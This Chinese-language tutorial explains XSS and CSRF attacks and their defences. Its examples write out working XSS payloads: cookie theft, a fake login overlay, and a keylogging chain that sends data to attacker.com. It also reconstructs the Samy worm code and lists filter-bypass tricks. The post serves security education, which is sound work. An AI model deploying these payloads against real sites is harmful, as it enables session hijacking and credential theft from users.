XSS、CSRF 原理与防御

7 阅读5分钟

XSS(跨站脚本攻击)

原理

XSS攻击者通过在网页中注入恶意脚本,当其他用户访问该网页时,脚本会在用户的浏览器中执行,从而:

  • 窃取用户Cookie、会话令牌
  • 篡改网页内容
  • 重定向到恶意网站
  • 进行钓鱼攻击

分类

  1. 反射型XSS:恶意脚本作为请求参数,服务器未过滤直接返回
  2. 存储型XSS:恶意脚本存储到数据库,每次页面加载时执行
  3. DOM型XSS:客户端JavaScript处理用户输入时产生漏洞

防御措施

  • 输入过滤:对用户输入进行严格验证和过滤
  • 输出编码:根据输出位置(HTML、JS、CSS、URL)进行相应编码
  • Content Security Policy(CSP) :限制外部资源加载
  • HttpOnly Cookie:防止JavaScript访问敏感Cookie
  • 使用框架的安全功能:如React的自动转义

CSRF(跨站请求伪造)

原理

攻击者诱导用户在已登录目标网站的情况下,访问恶意网站或点击恶意链接,利用用户的登录凭证在用户不知情时执行非授权操作。

攻击流程

  1. 用户登录可信网站A,浏览器保存会话Cookie
  2. 用户未登出情况下访问恶意网站B
  3. 网站B包含伪造请求(如转账、改密码)
  4. 浏览器自动携带Cookie向网站A发送请求
  5. 网站A认为这是用户合法操作

防御措施

1. 同源检测

  • 验证Referer/Origin头:检查请求来源是否合法

  • SameSite Cookie属性

    • Strict:完全禁止第三方Cookie
    • Lax:允许GET请求的第三方Cookie
    • None:允许所有第三方Cookie(需配合Secure)

2. Token验证

  • CSRF Token

    • 服务器生成随机Token,存储在Session中
    • 在表单或请求参数中包含该Token
    • 服务器验证Token是否匹配
    • 通常将Token放在表单隐藏域或自定义HTTP头中

3. 双重Cookie验证

  • 请求时从Cookie中取出某个值,添加到请求参数中
  • 服务器验证两者是否一致

4. 其他防护

  • 关键操作二次确认:如密码验证、短信验证码
  • 限制敏感操作的HTTP方法:如只允许POST请求
  • 缩短会话有效期

最佳实践组合

1. 重要操作使用POST请求
2. 启用SameSite Cookie(Lax或Strict)
3. 实施CSRF Token验证
4. 对敏感操作进行二次验证

现代框架防护

  • Spring Security:默认启用CSRF保护
  • Django:内置CSRF中间件
  • Express.js:使用csurf中间件
  • Laravel:自动生成和验证CSRF Token

XSS示例

示例1:反射型XSS(窃取Cookie)

攻击场景

某论坛的搜索功能存在漏洞,搜索结果页显示用户输入的搜索词。

漏洞URL

https://example.com/search?keyword=<script>alert('XSS')</script>

真实攻击载荷

<!-- 攻击者构造的恶意链接 -->
https://example.com/search?keyword=
<script>
  // 窃取用户Cookie并发送到攻击者服务器
  var img = new Image();
  img.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
</script>

攻击方式

  1. 攻击者将链接伪装成正常内容发给用户
  2. 用户点击链接,脚本在页面中执行
  3. 用户Cookie被发送到攻击者服务器
  4. 攻击者使用Cookie登录用户账户

示例2:存储型XSS(蠕虫传播)

著名案例:Myspace的"Samy"蠕虫(2005年)

漏洞点:Myspace的个人资料页允许用户添加HTML代码,但过滤不严。

攻击载荷

<div id=mycode style="BACKGROUND: url('java script:eval(document.all.mycode.expr)')" expr="
  // 将自身代码复制到访问者的个人资料
  var B = String.fromCharCode(34);
  var A = String.fromCharCode(39);
  
  // 构造恶意代码
  var code = '<div id=mycode style=BACKGROUND:url(' + A + 'java script:eval(document.all.mycode.expr)' + A + ')' + ' expr=' + B + '...恶意代码...' + B + '></div>';
  
  // 在访问者资料中添加"Samy是我偶像"
  if (location.hostname.indexOf('profile') != -1) {
    document.body.innerHTML = 'Samy是我的偶像!' + code;
  }
  
  // 将攻击者加为好友
  var F = String.fromCharCode(70, 114, 105, 101, 110, 100, 115, 46, 65, 100, 100);
  eval(unescape(F) + unescape('(12345)'));
"</div>

攻击效果

  • 20小时内感染超过100万个账户
  • 每个访问被感染页面的用户都会成为传播者
  • Myspace被迫临时关闭网站清理蠕虫

示例3:DOM型XSS(绕过过滤)

攻击场景

网站通过JavaScript从URL参数获取数据并动态更新页面。

漏洞代码

// 前端代码
var productId = location.hash.substring(1);
document.getElementById('product-name').innerHTML = decodeURIComponent(productId);

攻击载荷

https://example.com/product#<img src=x onerror=alert('XSS')>

绕过技巧

  1. 双写绕过<scr<script>ipt>alert(1)</script>
  2. 大小写混合<sCrIpT>alert(1)</ScRiPt>
  3. 编码绕过<img src=x onerror=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(1)>
  4. 事件处理器<img src=x onerror=alert(1)>

示例4:高级XSS(盗取敏感信息)

钓鱼登录表单注入

<script>
  // 在页面顶部注入假的登录表单
  var fakeLogin = document.createElement('div');
  fakeLogin.innerHTML = `
    <div style="position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.8);z-index:9999;">
      <div style="background:white;width:300px;margin:100px auto;padding:20px;border-radius:5px;">
        <h3>会话已过期,请重新登录</h3>
        <input type="text" id="username" placeholder="用户名" style="width:100%;margin:10px 0;padding:5px;">
        <input type="password" id="password" placeholder="密码" style="width:100%;margin:10px 0;padding:5px;">
        <button onclick="submitCredentials()" style="width:100%;padding:10px;background:#007bff;color:white;border:none;">
          登录
        </button>
      </div>
    </div>
  `;
  document.body.appendChild(fakeLogin);
  
  function submitCredentials() {
    var username = document.getElementById('username').value;
    var password = document.getElementById('password').value;
    
    // 发送到攻击者服务器
    fetch('https://attacker.com/log', {
      method: 'POST',
      body: JSON.stringify({u: username, p: password})
    });
    
    // 移除假表单,继续正常操作
    fakeLogin.remove();
  }
</script>

示例5:现代XSS攻击链

结合多种技术

<script>
  // 1. 窃取Cookie
  fetch('https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie));
  
  // 2. 劫持用户会话
  fetch('/api/change-email', {
    method: 'POST',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({email: 'attacker@example.com'})
  });
  
  // 3. 键盘记录
  document.addEventListener('keydown', function(e) {
    fetch('https://attacker.com/keylog', {
      method: 'POST',
      body: JSON.stringify({key: e.key, time: Date.now()})
    });
  });
  
  // 4. 截屏(通过Canvas)
  // 5. 访问摄像头/麦克风
  // 6. 挖矿脚本
</script>

防御建议

  1. 内容安全策略(CSP)

    Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com
    
  2. 输入验证

    // 白名单过滤
    function sanitize(input) {
      const allowed = /^[a-zA-Z0-9\s-_,.]+$/;
      return allowed.test(input) ? input : '';
    }
    
  3. 输出编码

    // HTML编码
    function encodeHTML(str) {
      return str.replace(/[&<>"']/g, 
        tag => ({
          '&': '&amp;',
          '<': '&lt;',
          '>': '&gt;',
          '"': '&quot;',
          "'": '&#39;'
        }[tag]));
    }
    
  4. 现代框架:React、Vue、Angular等已内置XSS防护

  5. 定期安全测试:使用OWASP ZAP、Burp Suite等工具扫描漏洞

⚠️ 免责声明:以上示例仅供学习防护知识,严禁用于非法攻击。所有安全测试应在授权环境下进行。